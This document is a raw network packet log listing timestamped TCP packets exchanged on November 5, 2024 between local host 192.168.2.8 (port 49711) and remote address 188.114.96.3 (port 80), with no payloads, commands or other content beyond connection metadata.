Nov 5, 2024 12:43:37.334064007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334073067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334096909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334131956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334141970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334158897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334171057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334173918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334187031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334189892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334213018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334223986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334304094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334314108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334326029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334342003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334362030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334383011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334395885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334405899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334417105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334425926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334438086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334460974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334485054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334496021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334506989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334526062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334537029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334568977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334579945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334609985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334639072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334650040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334656000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334665060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334686041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334697962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334779024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334793091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334804058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334815979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334820986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334830046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334834099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334860086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334873915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334884882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334896088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334922075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334935904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334945917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334959030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334968090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334986925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334997892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335057020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335068941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335078955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335091114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335098982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335103989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335112095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335134983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335273027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335283995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335294008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335304022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335319996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335325003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335331917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335335016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335345030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335346937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335359097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335372925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335376978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335381031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335398912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335405111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335416079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335441113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335508108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335519075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335530043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335540056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335544109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335551977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335566044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335575104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335586071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335587025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335613966 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335638046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335645914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335656881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335688114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335715055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335726976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335736036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335746050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335751057 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335756063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335767984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335777044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335800886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335846901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335892916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335943937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335956097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335963964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335974932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335983992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.335987091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.335994959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336008072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336028099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336071968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336081982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336092949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336102009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336107969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336113930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336122036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336129904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336147070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336169958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336199999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336210966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336221933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336239100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336252928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336308956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336318970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336332083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336345911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336348057 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336358070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336366892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336371899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336380959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336385012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336397886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336397886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336414099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336422920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336431026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336441040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336467028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336478949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336482048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336507082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336713076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336725950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336735964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336747885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.336759090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.336780071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.362601042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362617970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362639904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362652063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362663031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362673044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362687111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362694025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362704039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.362706900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.362734079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.362752914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366312981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366353035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366383076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366395950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366416931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366422892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366431952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366435051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366451025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366466045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366532087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366544962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366555929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366569996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366601944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366633892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366646051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366656065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366674900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366692066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366774082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366785049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366803885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366811991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366816044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366853952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366908073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366919994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366931915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366935015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366945028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366959095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.366975069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.366997957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367080927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367090940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367120028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367150068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367161989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367172956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367182970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367187023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367196083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367209911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367233038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367338896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367352009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367362022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367372990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367377043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367384911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367393970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367419958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367507935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367520094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367535114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367547035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367547989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367564917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367573977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367588997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367588997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367746115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367758036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367768049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367779970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367789030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367790937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367813110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367814064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367825985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367830992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367837906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367849112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367851973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367865086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367866993 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367887974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367899895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.367914915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367914915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.367940903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.368000984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368011951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368022919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368033886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368045092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368060112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.368083000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.368150949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368161917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368172884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368182898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368195057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.368201017 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.368225098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.407478094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.407490969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.407504082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.407526016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.407551050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.407635927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.407649040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.407680035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.412240982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.412252903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.412266970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.412281990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.412298918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.412307024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448570967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448584080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448596001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448621988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448641062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448714018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448730946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448743105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448754072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448754072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448775053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448801041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448837042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448854923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448867083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448873997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448879004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448885918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448893070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448903084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448904991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448915005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448930025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448945999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.448965073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448976994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448988914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.448998928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449002981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449011087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449018002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449028969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449055910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449090004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449103117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449115992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449124098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449150085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449215889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449229956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449240923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449253082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449253082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449270010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449280024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449280024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449294090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449305058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449315071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449317932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449331999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449340105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449347019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449353933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449371099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449383974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449553013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449590921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449596882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449609995 CET	80	49711	188.114.96.3	192.168.2.8
